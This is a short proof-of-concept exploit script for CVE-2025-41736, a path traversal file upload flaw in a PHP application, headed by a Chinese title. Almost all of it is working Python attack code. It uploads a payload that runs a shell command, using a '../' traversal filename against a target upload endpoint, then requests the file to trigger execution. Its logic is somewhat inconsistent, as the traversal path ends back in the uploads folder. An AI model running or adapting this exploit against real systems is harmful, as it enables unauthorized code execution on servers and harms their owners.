CVE-2025-41736: PHP应用路径遍历文件上传导致远程代码执行漏洞

import requests import urllib.parse # CVE-2025-41736 Path Traversal File Upload PoC # Target: PHP application with vulnerable file upload # Effect: Remote Code Execution via overwriting Python scripts TARGET_URL = "http://target.com/upload" def exploit_path_traversal(): """ Exploit path traversal in filename parameter to upload malicious file """ # Malicious Python script to be uploaded malicious_script = b'#!/usr/bin/env python3\nimport os\nos.system("id")\n' # Path traversal payload - overwrite existing Python script # Using ../ to escape upload directory and write to arbitrary location filename = "../../../var/www/html/uploads/malicious.py" files = { 'file': (filename, malicious_script, 'text/x-python') } data = { 'submit': 'Upload' } try: response = requests.post(TARGET_URL, files=files, data=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # If upload successful, trigger RCE if response.status_code == 200: exec_url = "http://target.com/uploads/malicious.py" print(f"Upload successful. Access at: {exec_url}") requests.get(exec_url) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("CVE-2025-41736 Exploit - Path Traversal File Upload") exploit_path_traversal()